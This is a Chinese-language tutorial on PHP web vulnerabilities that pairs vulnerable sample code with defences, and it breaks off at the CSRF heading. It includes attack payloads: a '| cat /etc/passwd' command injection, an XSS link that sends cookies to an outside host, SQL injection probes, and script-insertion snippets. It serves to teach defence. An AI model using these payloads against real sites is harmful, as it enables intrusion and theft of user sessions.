PHP漏洞全解
<p><code class="php plain">针对PHP的网站主要存在下面几种攻击方式:</code></p><div class="line number2 index1 alt1"><code class="php plain">1、命令注入(Command Injection)</code></div>
<div class="line number3 index2 alt2"><code class="php plain">2、</code><code class="php functions">eval</code><code class="php plain">注入(</code><code class="php functions">Eval</code> <code class="php plain">Injection)</code></div>
<div class="line number4 index3 alt1"><code class="php plain">3、客户端脚本攻击(Script Insertion)</code></div>
<div class="line number5 index4 alt2"><code class="php plain">4、跨网站脚本攻击(Cross Site Scripting, XSS)</code></div>
<div class="line number6 index5 alt1"><code class="php plain">5、SQL注入攻击(SQL injection)</code></div>
<div class="line number7 index6 alt2"><code class="php plain">6、跨网站请求伪造攻击(Cross Site Request Forgeries, CSRF)</code></div>
<div class="line number8 index7 alt1"><code class="php plain">7、Session 会话劫持(Session Hijacking)</code></div>
<div class="line number9 index8 alt2"><code class="php plain">8、Session 固定攻击(Session Fixation)</code></div>
<div class="line number10 index9 alt1"><code class="php plain">9、HTTP响应拆分攻击(HTTP Response Splitting)</code></div>
<div class="line number11 index10 alt2"><code class="php plain">10、文件上传漏洞(File Upload Attack)</code></div>
<div class="line number12 index11 alt1"><code class="php plain">11、目录穿越漏洞(Directory Traversal)</code></div>
<div class="line number13 index12 alt2"><code class="php plain">12、远程文件包含攻击(Remote Inclusion)</code></div>
<div class="line number14 index13 alt1"><code class="php plain">13、动态函数注入攻击(Dynamic Variable Evaluation)</code></div>
<div class="line number15 index14 alt2"><code class="php plain">14、URL攻击(URL attack)</code></div>
<div class="line number16 index15 alt1"><code class="php plain">15、表单提交欺骗攻击(Spoofed Form Submissions)</code></div>
<div class="line number17 index16 alt2"><code class="php plain">16、HTTP请求欺骗攻击(Spoofed HTTP Requests)</code></div>
<div class="line number18 index17 alt1"><code class="php plain">命令注入攻击</code></div>
<div class="line number19 index18 alt2"><code class="php plain">PHP中可以使用下列5个函数来执行外部的应用程序或函数</code></div>
<div class="line number20 index19 alt1"><code class="php plain">system、</code><code class="php functions">exec</code><code class="php plain">、</code><code class="php functions">passthru</code><code class="php plain">、shell_exec、“(与shell_exec功能相同)</code></div>
<div class="line number21 index20 alt2"><code class="php plain">函数原型</code></div>
<div class="line number22 index21 alt1"><code class="php plain">string system(string command, int &return_var)</code></div>
<div class="line number23 index22 alt2"><code class="php plain">command 要执行的命令</code></div>
<div class="line number24 index23 alt1"><code class="php plain">return_var 存放执行命令的执行后的状态值</code></div>
<div class="line number25 index24 alt2"><code class="php plain">string </code><code class="php functions">exec</code> <code class="php plain">(string command, </code><code class="php keyword">array</code> <code class="php plain">&output, int &return_var)</code></div>
<div class="line number26 index25 alt1"><code class="php plain">command 要执行的命令</code></div>
<div class="line number27 index26 alt2"><code class="php plain">output 获得执行命令输出的每一行字符串</code></div>
<div class="line number28 index27 alt1"><code class="php plain">return_var 存放执行命令后的状态值</code></div>
<div class="line number29 index28 alt2"><code class="php plain">void </code><code class="php functions">passthru</code> <code class="php plain">(string command, int &return_var)</code></div>
<div class="line number30 index29 alt1"><code class="php plain">command 要执行的命令</code></div>
<div class="line number31 index30 alt2"><code class="php plain">return_var 存放执行命令后的状态值</code></div>
<div class="line number32 index31 alt1"><code class="php plain">string shell_exec (string command)</code></div>
<div class="line number33 index32 alt2"><code class="php plain">command 要执行的命令</code></div>
<div class="line number34 index33 alt1"><code class="php plain">漏洞实例</code></div>
<div class="line number35 index34 alt2"><code class="php plain">例1:</code></div>
<div class="line number36 index35 alt1"><code class="php comments">//ex1.php</code></div>
<div class="line number37 index36 alt2"><code class="php plain"><?php</code></div>
<div class="line number38 index37 alt1"><code class="php variable">$dir</code> <code class="php plain">= </code><code class="php variable">$_GET</code><code class="php plain">[</code><code class="php string">"dir"</code><code class="php plain">];</code></div>
<div class="line number39 index38 alt2"><code class="php keyword">if</code> <code class="php plain">(isset(</code><code class="php variable">$dir</code><code class="php plain">))</code></div>
<div class="line number40 index39 alt1"><code class="php plain">{</code></div>
<div class="line number41 index40 alt2"><code class="php spaces"> </code><code class="php functions">echo</code> <code class="php string">"<pre>"</code><code class="php plain">;</code></div>
<div class="line number42 index41 alt1"><code class="php spaces"> </code><code class="php plain">system(</code><code class="php string">"ls -al "</code><code class="php plain">.</code><code class="php variable">$dir</code><code class="php plain">);</code></div>
<div class="line number43 index42 alt2"><code class="php spaces"> </code><code class="php functions">echo</code> <code class="php string">"</pre>"</code><code class="php plain">;</code></div>
<div class="line number44 index43 alt1"><code class="php plain">}</code></div>
<div class="line number45 index44 alt2"><code class="php plain">?></code></div>
<div class="line number46 index45 alt1"><code class="php plain">我们提交http:</code><code class="php comments">//www.sectop.com/ex1.php?dir=| cat /etc/passwd</code></div>
<div class="line number47 index46 alt2"><code class="php plain">提交以后，命令变成了 system(</code><code class="php string">"ls -al | cat /etc/passwd"</code><code class="php plain">);</code></div>
<div class="line number48 index47 alt1"><code class="php functions">eval</code><code class="php plain">注入攻击</code></div>
<div class="line number49 index48 alt2"><code class="php functions">eval</code><code class="php plain">函数将输入的字符串参数当作PHP程序代码来执行</code></div>
<div class="line number50 index49 alt1"><code class="php plain">函数原型:</code></div>
<div class="line number51 index50 alt2"><code class="php plain">mixed </code><code class="php functions">eval</code><code class="php plain">(string code_str) </code><code class="php comments">//eval注入一般发生在攻击者能控制输入的字符串的时候</code></div>
<div class="line number52 index51 alt1"><code class="php comments">//ex2.php</code></div>
<div class="line number53 index52 alt2"><code class="php plain"><?php</code></div>
<div class="line number54 index53 alt1"><code class="php variable">$var</code> <code class="php plain">= </code><code class="php string">"var"</code><code class="php plain">;</code></div>
<div class="line number55 index54 alt2"><code class="php keyword">if</code> <code class="php plain">(isset(</code><code class="php variable">$_GET</code><code class="php plain">[</code><code class="php string">"arg"</code><code class="php plain">]))</code></div>
<div class="line number56 index55 alt1"><code class="php plain">{</code></div>
<div class="line number57 index56 alt2"><code class="php spaces"> </code><code class="php variable">$arg</code> <code class="php plain">= </code><code class="php variable">$_GET</code><code class="php plain">[</code><code class="php string">"arg"</code><code class="php plain">];</code></div>
<div class="line number58 index57 alt1"><code class="php spaces"> </code><code class="php functions">eval</code><code class="php plain">(</code><code class="php string">"\$var = $arg;"</code><code class="php plain">);</code></div>
<div class="line number59 index58 alt2"><code class="php spaces"> </code><code class="php functions">echo</code> <code class="php string">"\$var ="</code><code class="php plain">.</code><code class="php variable">$var</code><code class="php plain">;</code></div>
<div class="line number60 index59 alt1"><code class="php plain">}</code></div>
<div class="line number61 index60 alt2"><code class="php plain">?></code></div>
<div class="line number62 index61 alt1"><code class="php plain">当我们提交 http:</code><code class="php comments">//www.sectop.com/ex2.php?arg=phpinfo();漏洞就产生了</code></div>
<div class="line number63 index62 alt2"><code class="php plain">动态函数</code></div>
<div class="line number64 index63 alt1"><code class="php plain"><?php</code></div>
<div class="line number65 index64 alt2"><code class="php plain">func A()</code></div>
<div class="line number66 index65 alt1"><code class="php plain">{</code></div>
<div class="line number67 index66 alt2"><code class="php spaces"> </code><code class="php plain">dosomething();</code></div>
<div class="line number68 index67 alt1"><code class="php plain">}</code></div>
<div class="line number69 index68 alt2"><code class="php plain">func B()</code></div>
<div class="line number70 index69 alt1"><code class="php plain">{</code></div>
<div class="line number71 index70 alt2"><code class="php spaces"> </code><code class="php plain">dosomething();</code></div>
<div class="line number72 index71 alt1"><code class="php plain">}</code></div>
<div class="line number73 index72 alt2"><code class="php keyword">if</code> <code class="php plain">(isset(</code><code class="php variable">$_GET</code><code class="php plain">[</code><code class="php string">"func"</code><code class="php plain">]))</code></div>
<div class="line number74 index73 alt1"><code class="php plain">{</code></div>
<div class="line number75 index74 alt2"><code class="php spaces"> </code><code class="php variable">$myfunc</code> <code class="php plain">= </code><code class="php variable">$_GET</code><code class="php plain">[</code><code class="php string">"func"</code><code class="php plain">];</code></div>
<div class="line number76 index75 alt1"><code class="php spaces"> </code><code class="php functions">echo</code> <code class="php variable">$myfunc</code><code class="php plain">();</code></div>
<div class="line number77 index76 alt2"><code class="php plain">}</code></div>
<div class="line number78 index77 alt1"><code class="php plain">?></code></div>
<div class="line number79 index78 alt2"><code class="php plain">程序员原意是想动态调用A和B函数，那我们提交http:</code><code class="php comments">//www.sectop.com/ex.php?func=phpinfo 漏洞产生</code></div>
<div class="line number80 index79 alt1"><code class="php plain">防范方法</code></div>
<div class="line number81 index80 alt2"><code class="php plain">1、尽量不要执行外部命令</code></div>
<div class="line number82 index81 alt1"><code class="php plain">2、使用自定义函数或函数库来替代外部命令的功能</code></div>
<div class="line number83 index82 alt2"><code class="php plain">3、使用</code><code class="php functions">escapeshellarg</code><code class="php plain">函数来处理命令参数</code></div>
<div class="line number84 index83 alt1"><code class="php plain">4、使用safe_mode_exec_dir指定可执行文件的路径</code></div>
<div class="line number85 index84 alt2"><code class="php plain">esacpeshellarg函数会将任何引起参数或命令结束的字符转义，单引号“'”，替换成“\'”，双引号“"”，替换成“\"”，分号“;”替换成“\;”</code></div>
<div class="line number86 index85 alt1"><code class="php plain">用safe_mode_exec_dir指定可执行文件的路径，可以把会使用的命令提前放入此路径内</code></div>
<div class="line number87 index86 alt2"><code class="php plain">safe_mode = On</code></div>
<div class="line number88 index87 alt1"><code class="php plain">safe_mode_exec_di r= /usr/local/php/bin/</code></div>
<div class="line number89 index88 alt2"><code class="php plain">客户端脚本植入</code></div>
<div class="line number90 index89 alt1"><code class="php plain">客户端脚本植入(Script Insertion)，是指将可以执行的脚本插入到表单、图片、动画或超链接文字等对象内。当用户打开这些对象后，攻击者所植入的脚本就会被执行，进而开始攻击。</code></div>
<div class="line number91 index90 alt2"><code class="php plain">可以被用作脚本植入的HTML标签一般包括以下几种:</code></div>
<div class="line number92 index91 alt1"><code class="php plain">1、<script>标签标记的javascript和vbscript等页面脚本程序。在<script>标签内可以指定js程序代码，也可以在src属性内指定js文件的URL路径</code></div>
<div class="line number93 index92 alt2"><code class="php plain">2、<object>标签标记的对象。这些对象是java applet、多媒体文件和ActiveX控件等。通常在data属性内指定对象的URL路径</code></div>
<div class="line number94 index93 alt1"><code class="php plain">3、<embed>标签标记的对象。这些对象是多媒体文件，例如:swf文件。通常在src属性内指定对象的URL路径</code></div>
<div class="line number95 index94 alt2"><code class="php plain">4、<applet>标签标记的对象。这些对象是java applet，通常在codebase属性内指定对象的URL路径</code></div>
<div class="line number96 index95 alt1"><code class="php plain">5、<form>标签标记的对象。通常在action属性内指定要处理表单数据的web应用程序的URL路径</code></div>
<div class="line number97 index96 alt2"><code class="php plain">客户端脚本植入的攻击步骤</code></div>
<div class="line number98 index97 alt1"><code class="php plain">1、攻击者注册普通用户后登陆网站</code></div>
<div class="line number99 index98 alt2"><code class="php plain">2、打开留言页面，插入攻击的js代码</code></div>
<div class="line number100 index99 alt1"><code class="php plain">3、其他用户登录网站（包括管理员），浏览此留言的内容</code></div>
<div class="line number101 index100 alt2"><code class="php plain">4、隐藏在留言内容中的js代码被执行，攻击成功</code></div>
<div class="line number102 index101 alt1"><code class="php plain">实例</code></div>
<div class="line number103 index102 alt2"><code class="php plain">数据库</code></div>
<div class="line number104 index103 alt1"><code class="php plain">CREATE TABLE `postmessage` (</code></div>
<div class="line number105 index104 alt2"><code class="php spaces"> </code><code class="php plain">`id` int(11) NOT NULL auto_increment,</code></div>
<div class="line number106 index105 alt1"><code class="php spaces"> </code><code class="php plain">`subject` varchar(60) NOT NULL </code><code class="php keyword">default</code> <code class="php plain">”,</code></div>
<div class="line number107 index106 alt2"><code class="php spaces"> </code><code class="php plain">`name` varchar(40) NOT NULL </code><code class="php keyword">default</code> <code class="php plain">”,</code></div>
<div class="line number108 index107 alt1"><code class="php spaces"> </code><code class="php plain">`email` varchar(25) NOT NULL </code><code class="php keyword">default</code> <code class="php plain">”,</code></div>
<div class="line number109 index108 alt2"><code class="php spaces"> </code><code class="php plain">`question` mediumtext NOT NULL,</code></div>
<div class="line number110 index109 alt1"><code class="php spaces"> </code><code class="php plain">`postdate` datetime NOT NULL </code><code class="php keyword">default</code> <code class="php plain">'0000-00-00 00:00:00′,</code></div>
<div class="line number111 index110 alt2"><code class="php spaces"> </code><code class="php plain">PRIMARY KEY (`id`)</code></div>
<div class="line number112 index111 alt1"><code class="php plain">) ENGINE=MyISAM DEFAULT CHARSET=gb2312 COMMENT=</code><code class="php string">'使用者的留言'</code> <code class="php plain">AUTO_INCREMENT=69 ;</code></div>
<div class="line number113 index112 alt2"><code class="php comments">//add.php 插入留言</code></div>
<div class="line number114 index113 alt1"><code class="php comments">//list.php 留言列表</code></div>
<div class="line number115 index114 alt2"><code class="php comments">//show.php 显示留言</code></div>
<div class="line number116 index115 alt1"><code class="php plain">提交下图的留言</code></div>
<div class="line number117 index116 alt2"><code class="php plain">浏览此留言的时候会执行js脚本</code></div>
<div class="line number118 index117 alt1"><code class="php plain">插入 <script></code><code class="php keyword">while</code><code class="php plain">(1){windows.open();}</script> 无限弹框</code></div>
<div class="line number119 index118 alt2"><code class="php plain">插入<script>location.href=</code><code class="php string">"http://www.sectop.com"</code><code class="php plain">;</script> 跳转钓鱼页面</code></div>
<div class="line number120 index119 alt1"><code class="php plain">或者使用其他自行构造的js代码进行攻击</code></div>
<div class="line number121 index120 alt2"><code class="php plain">防范的方法</code></div>
<div class="line number122 index121 alt1"><code class="php plain">一般使用htmlspecialchars函数来将特殊字符转换成HTML编码</code></div>
<div class="line number123 index122 alt2"><code class="php plain">函数原型</code></div>
<div class="line number124 index123 alt1"><code class="php plain">string htmlspecialchars (string string, int quote_style, string charset)</code></div>
<div class="line number125 index124 alt2"><code class="php plain">string 是要编码的字符串</code></div>
<div class="line number126 index125 alt1"><code class="php plain">quote_style 可选,值可为ENT_COMPAT、ENT_QUOTES、ENT_NOQUOTES，默认值ENT_COMPAT，表示只转换双引号不转换单引号。ENT_QUOTES，表示双引号和单引号都要转换。ENT_NOQUOTES，表示双引号和单引号都不转换</code></div>
<div class="line number127 index126 alt2"><code class="php plain">charset 可选,表示使用的字符集</code></div>
<div class="line number128 index127 alt1"><code class="php plain">函数会将下列特殊字符转换成html编码:</code></div>
<div class="line number129 index128 alt2"><code class="php plain">& —-> &</code></div>
<div class="line number130 index129 alt1"><code class="php string">" —-> "</code></div>
<div class="line number131 index130 alt2"><code class="php plain">‘ —-> ‘</code></div>
<div class="line number132 index131 alt1"><code class="php plain">< —-> <</code></div>
<div class="line number133 index132 alt2"><code class="php plain">> —-> ></code></div>
<div class="line number134 index133 alt1"><code class="php plain">把show.php的第98行改成</code></div>
<div class="line number135 index134 alt2"><code class="php plain"><?php </code><code class="php functions">echo</code> <code class="php plain">htmlspecialchars(</code><code class="php functions">nl2br</code><code class="php plain">(</code><code class="php variable">$row</code><code class="php plain">[</code><code class="php string">'question'</code><code class="php plain">]), ENT_QUOTES); ?></code></div>
<div class="line number136 index135 alt1"><code class="php plain">然后再查看插入js的漏洞页面</code></div>
<div class="line number137 index136 alt2"><code class="php spaces"> </code> </div>
<div class="line number138 index137 alt1"><code class="php plain">XSS跨站脚本攻击</code></div>
<div class="line number139 index138 alt2"><code class="php spaces"> </code> </div>
<div class="line number140 index139 alt1"><code class="php plain">XSS(Cross Site Scripting)，意为跨网站脚本攻击，为了和样式表css(Cascading Style Sheet)区别，缩写为XSS</code></div>
<div class="line number141 index140 alt2"><code class="php plain">跨站脚本主要被攻击者利用来读取网站用户的cookies或者其他个人数据，一旦攻击者得到这些数据，那么他就可以伪装成此用户来登录网站，获得此用户的权限。</code></div>
<div class="line number142 index141 alt1"><code class="php plain">跨站脚本攻击的一般步骤:</code></div>
<div class="line number143 index142 alt2"><code class="php plain">1、攻击者以某种方式发送xss的http链接给目标用户</code></div>
<div class="line number144 index143 alt1"><code class="php plain">2、目标用户登录此网站，在登陆期间打开了攻击者发送的xss链接</code></div>
<div class="line number145 index144 alt2"><code class="php plain">3、网站执行了此xss攻击脚本</code></div>
<div class="line number146 index145 alt1"><code class="php plain">4、目标用户页面跳转到攻击者的网站，攻击者取得了目标用户的信息</code></div>
<div class="line number147 index146 alt2"><code class="php plain">5、攻击者使用目标用户的信息登录网站，完成攻击</code></div>
<div class="line number148 index147 alt1"><code class="php plain">当有存在跨站漏洞的程序出现的时候，攻击者可以构造类似 http:</code><code class="php comments">//www.sectop.com/search.php?key=<script>document.location='http://www.hack.com/getcookie.php?cookie='+document.cookie;</script> ，诱骗用户点击后，可以获取用户cookies值</code></div>
<div class="line number149 index148 alt2"><code class="php plain">防范方法:</code></div>
<div class="line number150 index149 alt1"><code class="php plain">利用htmlspecialchars函数将特殊字符转换成HTML编码</code></div>
<div class="line number151 index150 alt2"><code class="php plain">函数原型</code></div>
<div class="line number152 index151 alt1"><code class="php plain">string htmlspecialchars (string string, int quote_style, string charset)</code></div>
<div class="line number153 index152 alt2"><code class="php spaces"> </code><code class="php plain">string 是要编码的字符串</code></div>
<div class="line number154 index153 alt1"><code class="php spaces"> </code><code class="php plain">quote_style 可选,值可为ENT_COMPAT、ENT_QUOTES、ENT_NOQUOTES，默认值ENT_COMPAT，表示只转换双引号不转换单引号。ENT_QUOTES，表示双引号和单引号都要转换。ENT_NOQUOTES，表示双引号和单引号都不转换</code></div>
<div class="line number155 index154 alt2"><code class="php spaces"> </code><code class="php plain">charset 可选,表示使用的字符集</code></div>
<div class="line number156 index155 alt1"><code class="php plain">函数会将下列特殊字符转换成html编码:</code></div>
<div class="line number157 index156 alt2"><code class="php plain">& —-> &</code></div>
<div class="line number158 index157 alt1"><code class="php string">" —-> "</code></div>
<div class="line number159 index158 alt2"><code class="php plain">‘ —-> ‘</code></div>
<div class="line number160 index159 alt1"><code class="php plain">< —-> <</code></div>
<div class="line number161 index160 alt2"><code class="php plain">> —-> ></code></div>
<div class="line number162 index161 alt1"><code class="php variable">$_SERVER</code><code class="php plain">[</code><code class="php string">"PHP_SELF"</code><code class="php plain">]变量的跨站</code></div>
<div class="line number163 index162 alt2"><code class="php plain">在某个表单中，如果提交参数给自己，会用这样的语句</code></div>
<div class="line number164 index163 alt1"><code class="php plain"><form action=</code><code class="php string">"<?php echo $_SERVER["</code><code class="php plain">PHP_SELF</code><code class="php string">"];?>"</code> <code class="php plain">method=</code><code class="php string">"POST"</code><code class="php plain">></code></div>
<div class="line number165 index164 alt2"><code class="php plain">……</code></div>
<div class="line number166 index165 alt1"><code class="php plain"></form></code></div>
<div class="line number167 index166 alt2"><code class="php variable">$_SERVER</code><code class="php plain">[</code><code class="php string">"PHP_SELF"</code><code class="php plain">]变量的值为当前页面名称</code></div>
<div class="line number168 index167 alt1"><code class="php plain">例:</code></div>
<div class="line number169 index168 alt2"><code class="php plain">http:</code><code class="php comments">//www.sectop.com/get.php</code></div>
<div class="line number170 index169 alt1"><code class="php plain">get.php中上述的表单</code></div>
<div class="line number171 index170 alt2"><code class="php plain">那么我们提交</code></div>
<div class="line number172 index171 alt1"><code class="php plain">http:</code><code class="php comments">//www.sectop.com/get.php/"><script>alert(document.cookie);</script></code></div>
<div class="line number173 index172 alt2"><code class="php plain">那么表单变成</code></div>
<div class="line number174 index173 alt1"><code class="php plain"><form action=</code><code class="php string">"get.php/"</code><code class="php plain">><script>alert(document.cookie);</script></code><code class="php string">" method="</code><code class="php plain">POST"></code></div>
<div class="line number175 index174 alt2"><code class="php plain">跨站脚本被插进去了</code></div>
<div class="line number176 index175 alt1"><code class="php plain">防御方法还是使用htmlspecialchars过滤输出的变量，或者提交给自身文件的表单使用</code></div>
<div class="line number177 index176 alt2"><code class="php plain"><form action=</code><code class="php string">""</code> <code class="php plain">method=</code><code class="php string">"post"</code><code class="php plain">></code></div>
<div class="line number178 index177 alt1"><code class="php plain">这样直接避免了</code><code class="php variable">$_SERVER</code><code class="php plain">[</code><code class="php string">"PHP_SELF"</code><code class="php plain">]变量被跨站</code></div>
<div class="line number179 index178 alt2"><code class="php spaces"> </code> </div>
<div class="line number180 index179 alt1"><code class="php plain">SQL注入攻击</code></div>
<div class="line number181 index180 alt2"><code class="php spaces"> </code> </div>
<div class="line number182 index181 alt1"><code class="php plain">SQL注入攻击(SQL Injection)，是攻击者在表单中提交精心构造的sql语句，改动原来的sql语句，如果web程序没有对提交的数据经过检查，那么就会造成sql注入攻击。</code></div>
<div class="line number183 index182 alt2"><code class="php plain"> SQL注入攻击的一般步骤:</code></div>
<div class="line number184 index183 alt1"><code class="php plain"> 1、攻击者访问有SQL注入漏洞的站点，寻找注入点</code></div>
<div class="line number185 index184 alt2"><code class="php plain"> 2、攻击者构造注入语句，注入语句和程序中的SQL语句结合生成新的sql语句</code></div>
<div class="line number186 index185 alt1"><code class="php plain"> 3、新的sql语句被提交到数据库中执行 处理</code></div>
<div class="line number187 index186 alt2"><code class="php plain"> 4、数据库执行了新的SQL语句，引发SQL注入攻击</code></div>
<div class="line number188 index187 alt1"><code class="php plain"> 实例</code></div>
<div class="line number189 index188 alt2"><code class="php plain"> 数据库</code></div>
<div class="line number190 index189 alt1"><code class="php plain"> CREATE TABLE `postmessage` (</code></div>
<div class="line number191 index190 alt2"><code class="php plain"> `id` int(11) NOT NULL auto_increment,</code></div>
<div class="line number192 index191 alt1"><code class="php plain"> `subject` varchar(60) NOT NULL </code><code class="php keyword">default</code> <code class="php plain">”,</code></div>
<div class="line number193 index192 alt2"><code class="php plain"> `name` varchar(40) NOT NULL </code><code class="php keyword">default</code> <code class="php plain">”,</code></div>
<div class="line number194 index193 alt1"><code class="php plain"> `email` varchar(25) NOT NULL </code><code class="php keyword">default</code> <code class="php plain">”,</code></div>
<div class="line number195 index194 alt2"><code class="php plain"> `question` mediumtext NOT NULL,</code></div>
<div class="line number196 index195 alt1"><code class="php plain"> `postdate` datetime NOT NULL </code><code class="php keyword">default</code> <code class="php plain">'0000-00-00 00:00:00′,</code></div>
<div class="line number197 index196 alt2"><code class="php plain"> PRIMARY KEY (`id`)</code></div>
<div class="line number198 index197 alt1"><code class="php plain"> ) ENGINE=MyISAM DEFAULT CHARSET=gb2312 COMMENT=</code><code class="php string">'运用者的留言'</code> <code class="php plain">AUTO_INCREMENT=69 ;</code></div>
<div class="line number199 index198 alt2"><code class="php plain"> grant all privileges on ch3.* to ‘sectop</code><code class="php string">'@localhost identified by '</code><code class="php plain">123456′;</code></div>
<div class="line number200 index199 alt1"><code class="php plain"> </code><code class="php comments">//add.php 插入留言</code></div>
<div class="line number201 index200 alt2"><code class="php plain"> </code><code class="php comments">//list.php 留言列表</code></div>
<div class="line number202 index201 alt1"><code class="php plain"> </code><code class="php comments">//show.php 显示留言</code></div>
<div class="line number203 index202 alt2"><code class="php plain"> 页面 http:</code><code class="php comments">//www.netsos.com.cn/show.php?id=71 可能存在注入点，我们来测试</code></div>
<div class="line number204 index203 alt1"><code class="php plain"> http:</code><code class="php comments">//www.netsos.com.cn/show.php?id=71 and 1=1</code></div>
<div class="line number205 index204 alt2"><code class="php plain"> 返回页面</code></div>
<div class="line number206 index205 alt1"><code class="php spaces"> </code> </div>
<div class="line number207 index206 alt2"><code class="php plain">提交</code></div>
<div class="line number208 index207 alt1"><code class="php plain"> 一次查询到记录，一次没有，我们来看看源码</code></div>
<div class="line number209 index208 alt2"><code class="php plain"> </code><code class="php comments">//show.php 12-15行</code></div>
<div class="line number210 index209 alt1"><code class="php plain"> </code><code class="php comments">// 执行mysql查询语句</code></div>
<div class="line number211 index210 alt2"><code class="php plain"> </code><code class="php variable">$query</code> <code class="php plain">= </code><code class="php string">"select * from postmessage where id = "</code><code class="php plain">.</code><code class="php variable">$_GET</code><code class="php plain">[</code><code class="php string">"id"</code><code class="php plain">];</code></div>
<div class="line number212 index211 alt1"><code class="php plain"> </code><code class="php variable">$result</code> <code class="php plain">= mysql_query(</code><code class="php variable">$query</code><code class="php plain">)</code></div>
<div class="line number213 index212 alt2"><code class="php plain"> </code><code class="php keyword">or</code> <code class="php keyword">die</code><code class="php plain">(</code><code class="php string">"执行ySQL查询语句失败："</code> <code class="php plain">. mysql_error());</code></div>
<div class="line number214 index213 alt1"><code class="php plain"> 参数id传递进来后，和前面的字符串结合的sql语句放入数据库执行 查询</code></div>
<div class="line number215 index214 alt2"><code class="php plain"> 提交 </code><code class="php keyword">and</code> <code class="php plain">1=1，语句变成select * from postmessage where id = 71 </code><code class="php keyword">and</code> <code class="php plain">1=1 这语句前值后值都为真，</code><code class="php keyword">and</code><code class="php plain">以后也为真，返回查询到的数据</code></div>
<div class="line number216 index215 alt1"><code class="php plain"> 提交 </code><code class="php keyword">and</code> <code class="php plain">1=2，语句变成select * from postmessage where id = 71 </code><code class="php keyword">and</code> <code class="php plain">1=2 这语句前值为真，后值为假，</code><code class="php keyword">and</code><code class="php plain">以后为假，查询不到任何数据</code></div>
<div class="line number217 index216 alt2"><code class="php plain"> 正常的SQL查询，经过我们构造的语句之后，形成了SQL注入攻击。通过这个注入点，我们还可以进一步拿到权限，比如说运用 union读取管理密码，读取数据库信息，或者用mysql的load_file，into outfile等函数进一步渗透。</code></div>
<div class="line number218 index217 alt1"><code class="php plain">防范方法</code></div>
<div class="line number219 index218 alt2"><code class="php plain"> 整型参数:</code></div>
<div class="line number220 index219 alt1"><code class="php plain"> 运用 </code><code class="php functions">intval</code><code class="php plain">函数将数据转换成整数</code></div>
<div class="line number221 index220 alt2"><code class="php plain"> 函数原型</code></div>
<div class="line number222 index221 alt1"><code class="php plain"> int </code><code class="php functions">intval</code><code class="php plain">(mixed </code><code class="php keyword">var</code><code class="php plain">, int base)</code></div>
<div class="line number223 index222 alt2"><code class="php plain"> </code><code class="php keyword">var</code><code class="php plain">是要转换成整形的变量</code></div>
<div class="line number224 index223 alt1"><code class="php plain"> base，可选，是基础数，默认是10</code></div>
<div class="line number225 index224 alt2"><code class="php plain"> 浮点型参数:</code></div>
<div class="line number226 index225 alt1"><code class="php plain"> 运用 </code><code class="php functions">floatval</code><code class="php plain">或doubleval函数分别转换单精度和双精度浮点型参数</code></div>
<div class="line number227 index226 alt2"><code class="php plain"> 函数原型</code></div>
<div class="line number228 index227 alt1"><code class="php plain"> int </code><code class="php functions">floatval</code><code class="php plain">(mixed </code><code class="php keyword">var</code><code class="php plain">)</code></div>
<div class="line number229 index228 alt2"><code class="php plain"> </code><code class="php keyword">var</code><code class="php plain">是要转换的变量</code></div>
<div class="line number230 index229 alt1"><code class="php plain"> int doubleval(mixed </code><code class="php keyword">var</code><code class="php plain">)</code></div>
<div class="line number231 index230 alt2"><code class="php plain"> </code><code class="php keyword">var</code><code class="php plain">是要转换的变量</code></div>
<div class="line number232 index231 alt1"><code class="php plain"> 字符型参数:</code></div>
<div class="line number233 index232 alt2"><code class="php plain"> 运用 </code><code class="php functions">addslashes</code><code class="php plain">函数来将单引号“'”转换成“\'”，双引号“"”转换成“\"”，反斜杠“\”转换成“\\”，NULL字符加上反斜杠“\”</code></div>
<div class="line number234 index233 alt1"><code class="php plain"> 函数原型</code></div>
<div class="line number235 index234 alt2"><code class="php plain">string </code><code class="php functions">addslashes</code> <code class="php plain">(string str)</code></div>
<div class="line number236 index235 alt1"><code class="php plain"> str是要检查的字符串</code></div>
<div class="line number237 index236 alt2"><code class="php plain"> 那么刚才出现的代码漏洞，我们可以这样修补</code></div>
<div class="line number238 index237 alt1"><code class="php plain"> </code><code class="php comments">// 执行mysql查询语句</code></div>
<div class="line number239 index238 alt2"><code class="php plain"> </code><code class="php variable">$query</code> <code class="php plain">= </code><code class="php string">"select * from postmessage where id = "</code><code class="php plain">.</code><code class="php functions">intval</code><code class="php plain">(</code><code class="php variable">$_GET</code><code class="php plain">[</code><code class="php string">"id"</code><code class="php plain">]);</code></div>
<div class="line number240 index239 alt1"><code class="php plain"> </code><code class="php variable">$result</code> <code class="php plain">= mysql_query(</code><code class="php variable">$query</code><code class="php plain">)</code></div>
<div class="line number241 index240 alt2"><code class="php keyword">or</code> <code class="php keyword">die</code><code class="php plain">(</code><code class="php string">"执行ySQL查询语句失败："</code> <code class="php plain">. mysql_error());</code></div>
<div class="line number242 index241 alt1"><code class="php spaces"> </code> </div>
<div class="line number243 index242 alt2"><code class="php plain"> 如果是字符型，先判断magic_quotes_gpc能无法 为On,当不为On的时候运用 </code><code class="php functions">addslashes</code><code class="php plain">转义特殊字符</code></div>
<div class="line number244 index243 alt1"><code class="php plain"> </code><code class="php keyword">if</code><code class="php plain">(get_magic_quotes_gpc())</code></div>
<div class="line number245 index244 alt2"><code class="php plain"> {</code></div>
<div class="line number246 index245 alt1"><code class="php plain"> </code><code class="php variable">$var</code> <code class="php plain">= </code><code class="php variable">$_GET</code><code class="php plain">[</code><code class="php string">"var"</code><code class="php plain">];</code></div>
<div class="line number247 index246 alt2"><code class="php plain"> }</code></div>
<div class="line number248 index247 alt1"><code class="php plain"> </code><code class="php keyword">else</code></div>
<div class="line number249 index248 alt2"><code class="php plain"> {</code></div>
<div class="line number250 index249 alt1"><code class="php plain"> </code><code class="php variable">$var</code> <code class="php plain">= </code><code class="php functions">addslashes</code><code class="php plain">(</code><code class="php variable">$_GET</code><code class="php plain">[</code><code class="php string">"var"</code><code class="php plain">]);</code></div>
<div class="line number251 index250 alt2"><code class="php plain"> }</code></div>
<div class="line number252 index251 alt1"><code class="php plain"> 再次测试，漏洞已经修补</code></div>
<div class="line number253 index252 alt2"><code class="php spaces"> </code> </div>
<div class="line number254 index253 alt1"><code class="php plain">垮网站伪造请求</code></div>
<div class="line number255 index254 alt2"><code class="php spaces"> </code> </div>
